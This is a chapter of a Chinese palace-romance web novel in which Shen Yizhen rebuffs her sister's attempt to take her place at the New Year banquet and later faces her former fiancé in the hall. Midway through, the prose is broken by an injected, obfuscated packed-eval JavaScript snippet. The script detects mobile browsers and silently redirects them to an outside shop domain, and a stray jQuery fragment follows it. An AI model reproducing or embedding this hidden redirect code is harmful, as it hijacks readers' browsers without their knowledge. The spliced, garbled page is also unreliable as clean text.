临近年关，整个上京都忙糟糟的。
沈夕瑶日日早出晚归，俨然将国公府当作驿馆。沈昀谦自那日送她回来，也没再出现。
沈懿贞乐得清闲。
新岁宴这日，天还没亮，京城便已忙得沸反盈天。
朱雀大街两侧的铺子早早卸了门板，伙计们踩着梯子往檐下挂大红灯笼，一串挨着一串，将整条街染成了一条不见首尾的赤色长龙。
宫城四面角楼上的旌旗换成了崭新的绛纱，在寒风中猎猎作响，通往宫门的各条官道上，车马络绎不绝，车轮碾过薄霜，发出细碎的沙沙声。
沈懿贞还未起床，就听院子里传来争执的动静。
她迷迷糊糊唤了朱鹭一声，半天也没见着人影。那争执声反倒越来越响，像一锅烧开的水，咕嘟咕嘟地往外冒泡。
沈懿贞皱着眉头坐起身，随手披了件外衫，拖着步子走到外间。
推开门的瞬间，一道刺骨的冷风扑面而来，将她残余的睡意吹得干干净净。
院子里站了七八个丫鬟婆子，将院门堵得水泄不通。
朱鹭正站在最前面，一个人舌战群儒，声音又尖又脆，像一把刚开了刃的剪子，无差别攻击所有来犯之敌。秋黛则举着鸡毛掸子站在她身后，手微微发抖，表情却在努力做出凶恶的形状，活像一只炸了毛的奶猫。
“大清早吵吵嚷嚷，”沈懿贞倚在门框上，拢了拢外衫的领口，声音不大，却让整个院子瞬间安静下来，“这是都上赶着来给本小姐磕头拜年的？”
话一出，院子里静了静。
众人齐刷刷后退半步，自发地从中间让出一条道。
那道的尽头，走出一个打扮得花枝招展的女子——身穿桃红牡丹纹褙子，领口镶着一圈兔毛，脂粉敷得极厚，鬓边插着两支赤金衔珠步摇，每走一步便叮当作响，像是把全部家当都挂在了头上。
沈懿贞目光在她脸上停了一息，便认出这是沈夕瑶。
不愧是圣诞树。
沈夕瑶款步上前，夹着嗓子开口，声音甜腻：“姐姐如今是京中贵人，莫说是睡到日上三竿，便是睡到午后，也无人敢置喙半句。”
她掩唇一笑，话锋陡然一转：“就连私自退了侯府的婚，还能得一句‘贤良淑德’的嘉许，姐姐真是好福气，不像妹妹我，忙前忙后，四处替国公府打点人情，到头来却遭人冷眼。”
沈懿贞莞尔一笑，语气真诚而恳切：“勤能补拙，不丢人。”
院子里有谁没憋住，发出一声极轻的嗤笑。
沈夕瑶脸上的笑意僵了一瞬。
她今日是拿准了这番话能戳痛沈懿贞——被退婚的弃妇，被罚去寺里思过的罪人，就算侥幸救下先皇后灵位又如何，她沈夕瑶才是国公府正经的掌上明珠，容色才情样样不输，凭什么被这个窝囊废压一头？
却不料对方非但没有露出丝毫受伤的神色，竟然还反唇相讥。
娘亲真没说错，这个小贱人不知道在昭南寺喝了什么迷魂汤，变得牙尖嘴利。
“姐姐，”沈夕瑶深吸一口气，努力让自己的声音听起来仍然甜美，“眼下姐姐与小侯爷退婚已是板上钉钉的事，这新岁宴上不乏青年才俊，姐姐弃妇之身，怕是也无机会再觅良缘，不如由妹妹代姐姐入宫领赏，若是有幸博得哪位世家公卿的青睐，也算是替国公府维系门楣，姐姐觉得呢？”
沈懿贞神色不改，连眉毛都没动一下：“姐姐觉得妹妹当是许久未曾安睡，张嘴就说梦话。若是放你进宫，国公府怕不是明日就要满门缟素。”
她顿了顿，像是忽然想起什么，补充道：“再说了，柯修明这个被退婚的弃夫都能大摇大摆参加新岁宴，姐姐又为何不能？”
沈夕瑶面上的笑容终于挂不住了。
她冷冷地剜了沈懿贞一眼，朝身后递了个眼色。那些丫鬟婆子会意，仗着人多势众便要往沈懿贞跟前挤，企图将她逼回屋里锁起来。
沈懿贞连眼皮都没抬，轻轻唤了一声：“墨元，墨廿。”
两道赤色身影自屋顶无声落下，腰间佩刀未出鞘，只是往沈懿贞身前一站，方才还气势汹汹的丫鬟婆子们顿时像被掐住了脖子的鹅，齐齐僵在原地。
墨元仍是那副似笑非笑的表情，望着沈夕瑶：“沈二小姐，请便吧。”
沈夕瑶还想说什么，只见墨廿两步上前，刀鞘滑落，雪白的刃尖抵在她的下巴上，但凡沈夕瑶开口，皮肉就会被利刃割开。
沈夕瑶的嘴唇哆嗦了半天，退开身，从牙缝里挤出一句“你等着”。
而后走出院门，向东行去。
沈懿贞都不用费心猜，指定是去找沈峰告状了。
这段插曲并未影响她的心情。
沈国公照例也在新岁宴的受邀之列。
显然，他并不想跟沈懿贞一同进宫，不知是嫌她丢人，还是怕她在马车里又说出什么大逆不道的话。
晌午刚过，他的车驾就先一步走了。
沈懿贞梳妆过后，也登上马车。
宫门外，车马已排成蜿蜒的长队。
朱漆宫门前立着两排金甲禁卫，手执长戟。
各府的车驾依次停靠，身着各色品服的官员与珠翠环绕的内眷鱼贯而入，偶尔有相识的女眷在宫门前相互见礼，披风下摆拂过汉白玉御道，发出极细的窸窣声。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555816|204253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈懿贞随内侍引路，穿过重重宫门，越往里走，灯火越盛。
新岁宴设于太极殿。
殿内数十根朱漆巨柱支撑起高耸的穹顶，每根柱身上都盘绕着赤金五爪龙，龙目以夜明珠镶嵌，在满殿烛火映照下流转出幽光。
殿中已按品级排开上百张紫檀长案，案上铺着织金锦缎，成套的银鎏金碗碟筷箸整整齐齐码在锦垫上。地龙烧得极旺，满殿温暖如春，与殿外凛冽的寒风仅一墙之隔，却像是两个截然不同的世界。
沈懿贞落座后排，她的位置在女眷后排，不上不下，符合她国公府嫡女的身份，也恰好能让她将殿中大半景象收入眼底。
才坐下没多久，她便感觉到有一道视线正沉沉地压在自己身上。
她隔着满殿衣香鬓影望过去，目光落在御座下首的位置。
萧临安今日穿了一身赤红常服，色沉如朱砂，胸前的五爪团龙用金线织就，龙爪牢牢扣住袍服的前襟，鳞身盘踞在赤红底上，在烛火下隐隐流动着暗金的光泽。领口被一枚玉扣绞紧，雪白的中衣领缘从袍领中露出一线，齐整得近乎严苛。翼善冠端端正正压在眉骨上方，冠顶嵌着一颗浑圆的东珠，看上去颇为古板。
他的眉眼依旧疏淡，面色平静，仿佛这满殿的喧嚣与他毫不相干。
不是他。
另一侧，晏敕坐在朝臣席面的首排，仅次于两相的位置。一身玄色蟒纹曳撒，银发罕见地用血玉玛瑙簪束起。
他仍是那副稍显冷峻的神情，与身旁几名朝臣寒暄公务。
也不是他。
沈懿贞收回视线，继续在殿中搜索。
她的目光扫过那些锦衣华服的背影，越过杯盏交错间时明时暗的烛影，循着殿中轻垂的纱幔望向角落——
一片月白色的衣角极轻地掠过殿柱，消失在宫灯照不见的阴影中，快得像一缕被风吹散的烟。
与此同时，那道从她落座起便若有若无萦绕在她身上的视线，也一并消失了。
奇怪……
没等她细想此人的身份，一道人影便气势汹汹地穿过殿中，径直朝她走来。
那人身量颀长，一身宝蓝暗银云纹的长袍，腰间束着玉带，生得倒也算面如冠玉，只是此刻那张俊脸上写满了压抑的怒意。
尚未开口，一张折叠整齐的黄麻纸便被他重重拍在她面前的桌案上，纸页与紫檀桌面相击，发出一声沉闷的脆响，周围几位女眷纷纷侧目。
沈懿贞眉尾微微上挑，不急不缓地端起面前的茶盏，掀开盖子撇了撇浮沫，这才好整以暇地抬起眼，望向站在她面前的柯修明。
“小侯爷这是何意？”